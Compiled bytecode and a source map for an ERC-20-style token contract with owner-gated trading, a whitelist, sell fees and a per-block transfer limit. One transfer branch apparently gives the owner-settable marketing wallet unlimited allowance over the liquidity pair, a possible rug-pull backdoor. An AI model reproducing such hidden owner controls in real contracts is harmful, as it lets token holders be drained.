565b6014805461ffff19169055565b6000546001600160a01b0316331461062a5760405162461bcd60e51b81526004016104bc9061177b565b6016805460ff19166001179055565b600061064433610a3e565b6106605760405162461bcd60e51b81526004016104bc9061173a565b610553338484610a80565b6000546001600160a01b031633146106955760405162461bcd60e51b81526004016104bc9061177b565b6016805461ff0019166101001790556012546001600160a01b0316156106e95760405162461bcd60e51b81526020600482015260096024820152684c502065786973747360b81b60448201526064016104bc565b60165460ff161561072e5760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b60448201526064016104bc565b600034118061073d5750600047115b6107895760405162461bcd60e51b815260206004820152601d60248201527f4e6f2045544820696e20636f6e7472616374206f72206d65737361676500000060448201526064016104bc565b306000908152600c60205260409020546107dd5760405162461bcd60e51b8152602060048201526015602482015274139bc81d1bdad95b9cc81a5b8818dbdb9d1c9858dd605a1b60448201526064016104bc565b601160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610830573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085491906117b2565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108da91906117b2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610927573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094b91906117b2565b601280546001600160a01b0319166001600160a01b0392909216919091179055306000908152600c60205260409020546109859047610edd565b6012546001600160a01b03166000908152601360205260409020805460ff191660011790556016805461ff0019169055565b6000546001600160a01b031633146109e15760405162461bcd60e51b81526004016104bc9061177b565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610a2d5760405162461bcd60e51b81526004016104bc9061177b565b600560078190556008819055600655565b601654600090819060ff1615610a565750600161046e565b6001600160a01b0383166000908152600e602052604090205460ff161561046e5750600192915050565b60006001600160a01b038416610ad85760405162461bcd60e51b815260206004820152601d60248201527f4e6f207472616e73666572732066726f6d205a65726f2077616c6c657400000060448201526064016104bc565b6001600160a01b03841660009081526013602052604090205460ff168015610b0d57506010546001600160a01b038481169116145b15610b1f57610b1f8484600019610f85565b6001600160a01b0384166000908152600e602052604090205460ff1680610b5e57506001600160a01b0383166000908152600e602052604090205460ff165b15610b7557610b6e848484610fe2565b9050610553565b60165460ff16610bb7576001600160a01b0384166000908152600e602052604090205460ff16610bb75760405162461bcd60e51b81526004016104bc9061173a565b601654610100900460ff16158015610be757506001600160a01b03831660009081526013602052604090205460ff165b8015610bf75750600954600a5410155b15610c0457610c04611097565b60145460ff168015610c2357506012546001600160a01b038581169116145b15610c8c5760155482610c4b856001600160a01b03166000908152600c602052604090205490565b610c5591906117cf565b1115610c8c5760405162461bcd60e51b8152602060048201526006602482015265119bdc989a5960d21b60448201526064016104bc565b601454610100900460ff1615610d59576001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14801590610cd757506012546001600160a01b03848116911614155b15610d5957326000908152600f60205260409020544311610d465760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b60648201526084016104bc565b326000908152600f602052604090204390555b6010546040516370a0823160e01b81526001600160a01b03909116600482015230906370a0823190602401602060405180830381865afa158015610da1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc591906117e7565b600b556000610dd58585856111d1565b90506000610de38285611764565b6001600160a01b0387166000908152600c6020526040812080549293508692909190610e10908490611764565b90915550508115610e4057306000908152600c602052604081208054849290610e3a9084906117cf565b90915550505b600a8054906000610e5083611800565b90915550506001600160a01b0385166000908152600c602052604081208054839290610e7d9084906117cf565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610ec991815260200190565b60405180910390a350600195945050505050565b610ee68261132e565b6011546000805460405163f305d71960e01b8152306004820152602481018690526044810183905260648101929092526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c40160606040518083038185885af1158015610f59573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7e919061181b565b5050505050565b6001600160a01b038084166000908152600d6020908152604080832093861683529290522054811115610fdd576001600160a01b038084166000908152600d6020908152604080832093861683529290522060001990555b505050565b6001600160a01b0383166000908152600c602052604081208054839190839061100c908490611764565b90915550506001600160a01b0383166000908152600c6020526040812080548492906110399084906117cf565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161108591815260200190565b60405180910390a35060019392505050565b6016805461ff001916610100179055306000908152600c60205260408120549050621e84806110c86012600a61170c565b6110d690633b9aca0061171b565b6110e09190611849565b81101580156110f1575060165460ff165b156111c3576101f46111056012600a61170c565b61111390633b9aca0061171b565b61111d9190611849565b811061114d576101f46111326012600a61170c565b61114090633b9aca0061171b565b61114a9190611849565b90505b6111568161139b565b4780156111c1576010546040516000916001600160a01b03169083908381818185875af1925050503d80600081146111aa576040519150601f19603f3d011682016040523d82523d6000602084013e6111af565b606091505b505080915050806111bf57600080fd5b505b505b506016805461ff0019169055565b601654600090819060ff16801561120157506001600160a01b0385166000908152600e602052604090205460ff16155b801561122657506001600160a01b0384166000908152600e602052604090205460ff16155b15610550576001600160a01b03851660009081526013602052604090205460ff168061126a57506001600160a01b03841660009081526013602052604090205460ff165b1561055057600654600a541161128257600154611286565b6004545b611291606485611849565b61129b919061171b565b6012549091506001600160a01b0385811691161480156112c457506001600160a01b0385163014155b15610550576000600854600a5411156112e057506005546112fa565b600754600a5411156112f557506003546112fa565b506002545b80611306606486611849565b611310919061171b565b9150600b546009546113229190611764565b600b5550949350505050565b306000908152600d60209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d845290915290205481111561139857306000908152600d60209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d8452909152902060001990555b50565b6113a48161132e565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106113d9576113d961186b565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611432573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061145691906117b2565b816001815181106114695761146961186b565b6001600160a01b03928316602091820292909201015260115460405163791ac94760e01b815291169063791ac947906114af908590600090869030904290600401611881565b600060405180830381600087803b1580156114c957600080fd5b505af11580156114dd573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b81811015611512578581018301518582016040015282016114f6565b81811115611524576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461139857600080fd5b6000806040838503121561156257600080fd5b823561156d8161153a565b946020939093013593505050565b60008060006060848603121561159057600080fd5b833561159b8161153a565b925060208401356115ab8161153a565b929592945050506040919091013590565b6000602082840312156115ce57600080fd5b81356105538161153a565b600080604083850312156115ec57600080fd5b82356115f78161153a565b915060208301356116078161153a565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561166357816000190482111561164957611649611612565b8085161561165657918102915b93841c939080029061162d565b509250929050565b60008261167a5750600161046e565b816116875750600061046e565b816001811461169d57600281146116a7576116c3565b600191505061046e565b60ff8411156116b8576116b8611612565b50506001821b61046e565b5060208310610133831016604e8410600b84101617156116e6575081810a61046e565b6116f08383611628565b806000190482111561170457611704611612565b029392505050565b600061055360ff84168361166b565b600081600019048311821515161561173557611735611612565b500290565b60208082526010908201526f2a3930b234b733903737ba1037b832b760811b604082015260600190565b60008282101561177657611776611612565b500390565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b6000602082840312156117c457600080fd5b81516105538161153a565b600082198211156117e2576117e2611612565b500190565b6000602082840312156117f957600080fd5b5051919050565b600060001982141561181457611814611612565b5060010190565b60008060006060848603121561183057600080fd5b8351925060208401519150604084015190509250925092565b60008261186657634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118d15784516001600160a01b0316835293830193918301916001016118ac565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212204b2db7e23713895f699fb0531aa7b868d5f24a4cb4a193665da0840d2b898f0864736f6c634300080a0033

Deployed Bytecode Sourcemap

2184:10011:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4937:80;;;;;;;;;;-1:-1:-1;5009:5:0;;;;;;;;;;;-1:-1:-1;;;5009:5:0;;;;4937:80;;;;5009:5;4937:80;:::i;:::-;;;;;;;;5275:216;;;;;;;;;;-1:-1:-1;5275:216:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;5275:216:0;1072:187:1;2655:33:0;;;;;;;;;;;;;;;;;;;1410:25:1;;;1398:2;1383:18;2655:33:0;1264:177:1;4667:88:0;;;;;;;;;;;;;:::i;5732:404::-;;;;;;;;;;-1:-1:-1;5732:404:0;;;;;:::i;:::-;;:::i;2822:26::-;;;;;;;;;;;;;;;;4761:80;;;;;;;;;;-1:-1:-1;4761:80:0;;2376:2;2049:36:1;;2037:2;2022:18;4761:80:0;1907:184:1;2695:35:0;;;;;;;;;;;;;;;;5023:105;;;;;;;;;;-1:-1:-1;5023:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;5107:18:0;5089:7;5107:18;;;:9;:18;;;;;;;5023:105;2040:137;;;;;;;;;;;;;:::i;:::-;;9859:113;;;;;;;;;;;;;:::i;3598:26::-;;;;;;;;;;-1:-1:-1;3598:26:0;;;;;;;;3678:62;;;;;;;;;;;;;;;;9119:82;;;;;;;;;;;;;:::i;1969:65::-;;;;;;;;;;-1:-1:-1;2007:7:0;2025:6;1969:65;;-1:-1:-1;;;;;2025:6:0;;;2494:51:1;;2482:2;2467:18;1969:65:0;2348:203:1;5499:225:0;;;;;;;;;;-1:-1:-1;5499:225:0;;;;;:::i;:::-;;:::i;2737:35::-;;;;;;;;;;;;;;;;3631:40;;;;;;;;;;-1:-1:-1;3631:40:0;;;;;;;;;;;5134:133;;;;;;;;;;-1:-1:-1;5134:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;5236:19:0;;;5218:7;5236:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;5134:133;8529:578;;;:::i;9737:114::-;;;;;;;;;;-1:-1:-1;9737:114:0;;;;;:::i;:::-;;:::i;9980:142::-;;;;;;;;;;;;;:::i;5275:216::-;5379:10;5350:4;5367:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;5367:32:0;;;;;;;;;;:41;;;5424:37;5350:4;;5367:32;;5424:37;;;;5402:6;1410:25:1;;1398:2;1383:18;;1264:177;5424:37:0;;;;;;;;-1:-1:-1;5479:4:0;5275:216;;;;;:::o;4667:88::-;4722:7;2442:13;2376:2;2442;:13;:::i;:::-;2425:31;;:13;:31;:::i;:::-;4733:19;;4667:88;:::o;5732:404::-;5832:4;5857:25;5875:6;5857:17;:25::i;:::-;5849:54;;;;-1:-1:-1;;;5849:54:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;5917:19:0;;;;;;:11;:19;;;;;;;;5937:10;5917:31;;;;;;;;-1:-1:-1;;5917:52:0;5914:157;;-1:-1:-1;;;;;6019:19:0;;;;;;:11;:19;;;;;;;;6039:10;6019:31;;;;;;;;:40;;6053:6;;6019:40;:::i;:::-;-1:-1:-1;;;;;5985:19:0;;;;;;:11;:19;;;;;;;;6005:10;5985:31;;;;;;;:74;5914:157;6088:40;6102:6;6110:9;6121:6;6088:13;:40::i;:::-;6081:47;;5732:404;;;;;;:::o;2040:137::-;1922:6;;-1:-1:-1;;;;;1922:6:0;1908:10;:20;1900:57;;;;-1:-1:-1;;;1900:57:0;;;;;;;:::i;:::-;2117:1:::1;2100:19:::0;;-1:-1:-1;;;;;;2100:19:0::1;::::0;;2136:32:::1;::::0;2494:51:1;;;2136:32:0::1;::::0;2482:2:1;2467:18;2136:32:0::1;;;;;;;2040:137::o:0;9859:113::-;1922:6;;-1:-1:-1;;;;;1922:6:0;1908:10;:20;1900:57;;;;-1:-1:-1;;;1900:57:0;;;;;;;:::i;:::-;9912:7:::1;:15:::0;;-1:-1:-1;;9938:26:0;;;9859:113::o;9119:82::-;1922:6;;-1:-1:-1;;;;;1922:6:0;1908:10;:20;1900:57;;;;-1:-1:-1;;;1900:57:0;;;;;;;:::i;:::-;9174:12:::1;:19:::0;;-1:-1:-1;;9174:19:0::1;9189:4;9174:19;::::0;;9119:82::o;5499:225::-;5579:4;5604:29;5622:10;5604:17;:29::i;:::-;5596:58;;;;-1:-1:-1;;;5596:58:0;;;;;;;:::i;:::-;5672:44;5686:10;5698:9;5709:6;5672:13;:44::i;8529:578::-;1922:6;;-1:-1:-1;;;;;1922:6:0;1908:10;:20;1900:57;;;;-1:-1:-1;;;1900:57:0;;;;;;;:::i;:::-;3864:10:::1;:17:::0;;-1:-1:-1;;3864:17:0::1;;;::::0;;8611:10:::2;::::0;-1:-1:-1;;;;;8611:10:0::2;:24:::0;8603:46:::2;;;::::0;-1:-1:-1;;;8603:46:0;;5667:2:1;8603:46:0::2;::::0;::::2;5649:21:1::0;5706:1;5686:18;;;5679:29;-1:-1:-1;;;5724:18:1;;;5717:39;5773:18;;8603:46:0::2;5465:332:1::0;8603:46:0::2;8669:12;::::0;::::2;;8668:13;8660:41;;;::::0;-1:-1:-1;;;8660:41:0;;6004:2:1;8660:41:0::2;::::0;::::2;5986:21:1::0;6043:2;6023:18;;;6016:30;-1:-1:-1;;;6062:18:1;;;6055:45;6117:18;;8660:41:0::2;5802:339:1::0;8660:41:0::2;8732:1;8720:9;:13;:40;;;;8759:1;8737:21;:23;8720:40;8712:82;;;::::0;-1:-1:-1;;;8712:82:0;;6348:2:1;8712:82:0::2;::::0;::::2;6330:21:1::0;6387:2;6367:18;;;6360:30;6426:31;6406:18;;;6399:59;6475:18;;8712:82:0::2;6146:353:1::0;8712:82:0::2;8831:4;8838:1;8813:24:::0;;;:9:::2;:24;::::0;;;;;8805:60:::2;;;::::0;-1:-1:-1;;;8805:60:0;;6706:2:1;8805:60:0::2;::::0;::::2;6688:21:1::0;6745:2;6725:18;;;6718:30;-1:-1:-1;;;6764:18:1;;;6757:51;6825:18;;8805:60:0::2;6504:345:1::0;8805:60:0::2;8909:18;;;;;;;;;-1:-1:-1::0;;;;;8909:18:0::2;-1:-1:-1::0;;;;;8909:26:0::2;;:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8891:58:0::2;;8958:4;8965:18;;;;;;;;;-1:-1:-1::0;;;;;8965:18:0::2;-1:-1:-1::0;;;;;8965:23:0::2;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8891:100;::::0;-1:-1:-1;;;;;;8891:100:0::2;::::0;;;;;;-1:-1:-1;;;;;7340:15:1;;;8891:100:0::2;::::0;::::2;7322:34:1::0;7392:15;;7372:18;;;7365:43;7257:18;;8891:100:0::2;;;;;;;;;;;;;;;;;;::::0;::::2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8878:10;:113:::0;;-1:-1:-1;;;;;;8878:113:0::2;-1:-1:-1::0;;;;;8878:113:0;;;::::2;::::0;;;::::2;::::0;;9034:4:::2;-1:-1:-1::0;9016:24:0;;;:9:::2;:24;::::0;;;;;9002:62:::2;::::0;9042:21:::2;9002:13;:62::i;:::-;9081:10;::::0;-1:-1:-1;;;;;9081:10:0::2;9075:17;::::0;;;:5:::2;:17;::::0;;;;:24;;-1:-1:-1;;9075:24:0::2;9095:4;9075:24;::::0;;3906:10:::1;:18:::0;;-1:-1:-1;;3906:18:0::1;::::0;;8529:578::o;9737:114::-;1922:6;;-1:-1:-1;;;;;1922:6:0;1908:10;:20;1900:57;;;;-1:-1:-1;;;1900:57:0;;;;;;;:::i;:::-;9809:10:::1;:34:::0;;-1:-1:-1;;;;;;9809:34:0::1;-1:-1:-1::0;;;;;9809:34:0;;;::::1;::::0;;;::::1;::::0;;9737:114::o;9980:142::-;1922:6;;-1:-1:-1;;;;;1922:6:0;1908:10;:20;1900:57;;;;-1:-1:-1;;;1900:57:0;;;;;;;:::i;:::-;10055:1:::1;10037:17;:19:::0;;;10067:17:::1;:19:::0;;;10097:15:::1;:17:::0;9980:142::o;9471:258::-;9592:12;;9536:4;;;;9592:12;;9587:103;;;-1:-1:-1;9623:4:0;9587:103;;;-1:-1:-1;;;;;9650:15:0;;;;;;:7;:15;;;;;;;;9646:44;;;-1:-1:-1;9683:4:0;9710:11;9471:258;-1:-1:-1;;9471:258:0:o;6144:1609::-;6236:4;-1:-1:-1;;;;;6261:20:0;;6253:62;;;;-1:-1:-1;;;6253:62:0;;7621:2:1;6253:62:0;;;7603:21:1;7660:2;7640:18;;;7633:30;7699:31;7679:18;;;7672:59;7748:18;;6253:62:0;7419:353:1;6253:62:0;-1:-1:-1;;;;;6331:13:0;;;;;;:5;:13;;;;;;;;:40;;;;-1:-1:-1;6361:10:0;;-1:-1:-1;;;;;6348:23:0;;;6361:10;;6348:23;6331:40;6328:121;;;6388:49;6403:6;6411:9;-1:-1:-1;;6388:14:0;:49::i;:::-;-1:-1:-1;;;;;6472:15:0;;;;;;:7;:15;;;;;;;;;:37;;-1:-1:-1;;;;;;6491:18:0;;;;;;:7;:18;;;;;;;;6472:37;6469:119;;;6532:44;6550:6;6558:9;6569:6;6532:17;:44::i;:::-;6525:51;;;;6469:119;6613:12;;;;6608:68;;-1:-1:-1;;;;;6637:15:0;;;;;;:7;:15;;;;;;;;6629:44;;;;-1:-1:-1;;;6629:44:0;;;;;;;:::i;:::-;6694:10;;;;;;;6693:11;:31;;;;-1:-1:-1;;;;;;6708:16:0;;;;;;:5;:16;;;;;;;;6693:31;:66;;;;;6741:18;;6728:9;;:31;;6693:66;6688:98;;;6763:20;:18;:20::i;:::-;6802:7;;;;:31;;;;-1:-1:-1;6823:10:0;;-1:-1:-1;;;;;6813:20:0;;;6823:10;;6813:20;6802:31;6798:132;;;6891:16;;6881:6;6858:20;6868:9;-1:-1:-1;;;;;5107:18:0;5089:7;5107:18;;;:9;:18;;;;;;;5023:105;6858:20;:29;;;;:::i;:::-;:49;;6850:68;;;;-1:-1:-1;;;6850:68:0;;8112:2:1;6850:68:0;;;8094:21:1;8151:1;8131:18;;;8124:29;-1:-1:-1;;;8169:18:1;;;8162:36;8215:18;;6850:68:0;7910:329:1;6850:68:0;6946:20;;;;;;;6942:327;;;-1:-1:-1;;;;;6987:31:0;;3374:42;6987:31;;;;:58;;-1:-1:-1;7035:10:0;;-1:-1:-1;;;;;7022:23:0;;;7035:10;;7022:23;;6987:58;6983:275;;;7103:9;7074:39;;;;:28;:39;;;;;;7116:12;-1:-1:-1;7066:103:0;;;;-1:-1:-1;;;7066:103:0;;8446:2:1;7066:103:0;;;8428:21:1;8485:2;8465:18;;;8458:30;8524:34;8504:18;;;8497:62;-1:-1:-1;;;8575:18:1;;;8568:34;8619:19;;7066:103:0;8244:400:1;7066:103:0;7217:9;7188:39;;;;:28;:39;;;;;7230:12;7188:54;;6983:275;7308:10;;7293:26;;-1:-1:-1;;;7293:26:0;;-1:-1:-1;;;;;7308:10:0;;;7293:26;;;2494:51:1;7293:4:0;;:14;;2467:18:1;;7293:26:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7281:9;:38;7332:18;7353:40;7367:6;7375:9;7386:6;7353:13;:40::i;:::-;7332:61;-1:-1:-1;7406:23:0;7432:19;7332:61;7432:6;:19;:::i;:::-;-1:-1:-1;;;;;7464:17:0;;;;;;:9;:17;;;;;:27;;7406:45;;-1:-1:-1;7485:6:0;;7464:17;;;:27;;7485:6;;7464:27;:::i;:::-;;;;-1:-1:-1;;7509:14:0;;7504:89;;7560:4;7542:24;;;;:9;:24;;;;;:38;;7570:10;;7542:24;:38;;7570:10;;7542:38;:::i;:::-;;;;-1:-1:-1;;7504:89:0;7605:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;;;;;;7629:20:0;;;;;;:9;:20;;;;;:39;;7653:15;;7629:20;:39;;7653:15;;7629:39;:::i;:::-;;;;;;;;7703:9;-1:-1:-1;;;;;7686:35:0;7695:6;-1:-1:-1;;;;;7686:35:0;;7714:6;7686:35;;;;1410:25:1;;1398:2;1383:18;;1264:177;7686:35:0;;;;;;;;-1:-1:-1;7741:4:0;;6144:1609;-1:-1:-1;;;;;6144:1609:0:o;9209:254::-;9297:28;9312:12;9297:14;:28::i;:::-;9336:18;;;9430:6;;9336:119;;-1:-1:-1;;;9336:119:0;;9403:4;9336:119;;;9535:34:1;9585:18;;;9578:34;;;9628:18;;;9621:34;;;9671:18;;;9664:34;;;;-1:-1:-1;;;;;9430:6:0;;;9714:19:1;;;9707:44;9438:15:0;9767:19:1;;;9760:35;9336:18:0;;;;:34;;9378:13;;9469:19:1;;9336:119:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;9209:254;;:::o;8031:247::-;-1:-1:-1;;;;;8140:19:0;;;;;;;:11;:19;;;;;;;;:33;;;;;;;;;;:48;-1:-1:-1;8135:136:0;;;-1:-1:-1;;;;;8206:19:0;;;;;;;:11;:19;;;;;;;;:33;;;;;;;;;-1:-1:-1;;8206:53:0;;8135:136;8031:247;;;:::o;7761:262::-;-1:-1:-1;;;;;7874:17:0;;7857:4;7874:17;;;:9;:17;;;;;:27;;7895:6;;7874:17;7857:4;;7874:27;;7895:6;;7874:27;:::i;:::-;;;;-1:-1:-1;;;;;;;7912:20:0;;;;;;:9;:20;;;;;:30;;7936:6;;7912:20;:30;;7936:6;;7912:30;:::i;:::-;;;;;;;;7975:9;-1:-1:-1;;;;;7958:35:0;7967:6;-1:-1:-1;;;;;7958:35:0;;7986:6;7958:35;;;;1410:25:1;;1398:2;1383:18;;1264:177;7958:35:0;;;;;;;;-1:-1:-1;8011:4:0;7761:262;;;;;:::o;11187:631::-;3864:10;:17;;-1:-1:-1;;3864:17:0;;;;;11296:4:::1;-1:-1:-1::0;5107:18:0;;;:9;:18;;;;;;11248:54;-1:-1:-1;3238:7:0::1;2442:13;2376:2;2442;:13;:::i;:::-;2425:31;::::0;:13:::1;:31;:::i;:::-;3223:22;;;;:::i;:::-;11320:19;:34;;:50;;;;-1:-1:-1::0;11358:12:0::1;::::0;::::1;;11320:50;11315:496;;;3306:3;2442:13;2376:2;2442;:13;:::i;:::-;2425:31;::::0;:13:::1;:31;:::i;:::-;3291:18;;;;:::i;:::-;11393:19;:34;11388:80;;3306:3;2442:13;2376:2;2442;:13;:::i;:::-;2425:31;::::0;:13:::1;:31;:::i;:::-;3291:18;;;;:::i;:::-;11432:33;;11388:80;11484:41;11505:19;11484:20;:41::i;:::-;11570:21;11611:23:::0;;11608:192:::1;;11700:10;::::0;:49:::1;::::0;11656:12:::1;::::0;-1:-1:-1;;;;;11700:10:0::1;::::0;11724:19;;11656:12;11700:49;11656:12;11700:49;11724:19;11700:10;:49:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11687:62;;;;;11776:7;11768:16;;;::::0;::::1;;11636:164;11608:192;11373:438;11315:496;-1:-1:-1::0;3906:10:0;:18;;-1:-1:-1;;3906:18:0;;;11187:631::o;10130:1049::-;10276:12;;10222:7;;;;10276:12;;:32;;;;-1:-1:-1;;;;;;10293:15:0;;;;;;:7;:15;;;;;;;;10292:16;10276:32;:55;;;;-1:-1:-1;;;;;;10313:18:0;;;;;;:7;:18;;;;;;;;10312:19;10276:55;10272:871;;;-1:-1:-1;;;;;10369:13:0;;;;;;:5;:13;;;;;;;;;:33;;-1:-1:-1;;;;;;10386:16:0;;;;;;:5;:16;;;;;;;;10369:33;10364:768;;;10467:15;;10455:9;;:27;10454:61;;10501:14;;10454:61;;;10486:12;;10454:61;10437:12;10446:3;10437:6;:12;:::i;:::-;10436:80;;;;:::i;:::-;10553:10;;10424:92;;-1:-1:-1;;;;;;10540:23:0;;;10553:10;;10540:23;:50;;;;-1:-1:-1;;;;;;10567:23:0;;10585:4;10567:23;;10540:50;10537:580;;;10614:15;10689:17;;10677:9;;:29;10674:300;;;-1:-1:-1;10744:13:0;;10674:300;;;10802:17;;10790:9;;:29;10787:187;;;-1:-1:-1;10857:11:0;;10787:187;;;-1:-1:-1;10935:15:0;;10787:187;11025:7;11009:12;11018:3;11009:6;:12;:::i;:::-;11008:24;;;;:::i;:::-;10996:36;;11088:9;;11067:18;;:30;;;;:::i;:::-;11055:9;:42;-1:-1:-1;11162:9:0;10130:1049;-1:-1:-1;;;;10130:1049:0:o;8286:235::-;8377:4;8357:26;;;;:11;:26;;;;;;;;3374:42;8357:46;;;;;;;;:61;-1:-1:-1;8352:162:0;;;8456:4;8436:26;;;;:11;:26;;;;;;;;3374:42;8436:46;;;;;;;-1:-1:-1;;8436:66:0;;8352:162;8286:235;:::o;11826:366::-;11896:27;11911:11;11896:14;:27::i;:::-;11958:16;;;11972:1;11958:16;;;;;;;;11934:21;;11958:16;;;;;;;;;;-1:-1:-1;11958:16:0;11934:40;;12003:4;11985;11990:1;11985:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11985:23:0;;;:7;;;;;;;;;;:23;;;;12029:18;;:25;;;-1:-1:-1;;;12029:25:0;;;;:18;;;;;:23;;:25;;;;;11985:7;;12029:25;;;;;:18;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12019:4;12024:1;12019:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12019:35:0;;;:7;;;;;;;;;:35;12065:18;;:119;;-1:-1:-1;;;12065:119:0;;:18;;;:69;;:119;;12135:11;;12065:18;;12149:4;;12162;;12168:15;;12065:119;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11885:307;11826:366;:::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;752:315;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1446:456::-;1523:6;1531;1539;1592:2;1580:9;1571:7;1567:23;1563:32;1560:52;;;1608:1;1605;1598:12;1560:52;1647:9;1634:23;1666:31;1691:5;1666:31;:::i;:::-;1716:5;-1:-1:-1;1773:2:1;1758:18;;1745:32;1786:33;1745:32;1786:33;:::i;:::-;1446:456;;1838:7;;-1:-1:-1;;;1892:2:1;1877:18;;;;1864:32;;1446:456::o;2096:247::-;2155:6;2208:2;2196:9;2187:7;2183:23;2179:32;2176:52;;;2224:1;2221;2214:12;2176:52;2263:9;2250:23;2282:31;2307:5;2282:31;:::i;2556:388::-;2624:6;2632;2685:2;2673:9;2664:7;2660:23;2656:32;2653:52;;;2701:1;2698;2691:12;2653:52;2740:9;2727:23;2759:31;2784:5;2759:31;:::i;:::-;2809:5;-1:-1:-1;2866:2:1;2851:18;;2838:32;2879:33;2838:32;2879:33;:::i;:::-;2931:7;2921:17;;;2556:388;;;;;:::o;2949:127::-;3010:10;3005:3;3001:20;2998:1;2991:31;3041:4;3038:1;3031:15;3065:4;3062:1;3055:15;3081:422;3170:1;3213:5;3170:1;3227:270;3248:7;3238:8;3235:21;3227:270;;;3307:4;3303:1;3299:6;3295:17;3289:4;3286:27;3283:53;;;3316:18;;:::i;:::-;3366:7;3356:8;3352:22;3349:55;;;3386:16;;;;3349:55;3465:22;;;;3425:15;;;;3227:270;;;3231:3;3081:422;;;;;:::o;3508:806::-;3557:5;3587:8;3577:80;;-1:-1:-1;3628:1:1;3642:5;;3577:80;3676:4;3666:76;;-1:-1:-1;3713:1:1;3727:5;;3666:76;3758:4;3776:1;3771:59;;;;3844:1;3839:130;;;;3751:218;;3771:59;3801:1;3792:10;;3815:5;;;3839:130;3876:3;3866:8;3863:17;3860:43;;;3883:18;;:::i;:::-;-1:-1:-1;;3939:1:1;3925:16;;3954:5;;3751:218;;4053:2;4043:8;4040:16;4034:3;4028:4;4025:13;4021:36;4015:2;4005:8;4002:16;3997:2;3991:4;3988:12;3984:35;3981:77;3978:159;;;-1:-1:-1;4090:19:1;;;4122:5;;3978:159;4169:34;4194:8;4188:4;4169:34;:::i;:::-;4239:6;4235:1;4231:6;4227:19;4218:7;4215:32;4212:58;;;4250:18;;:::i;:::-;4288:20;;3508:806;-1:-1:-1;;;3508:806:1:o;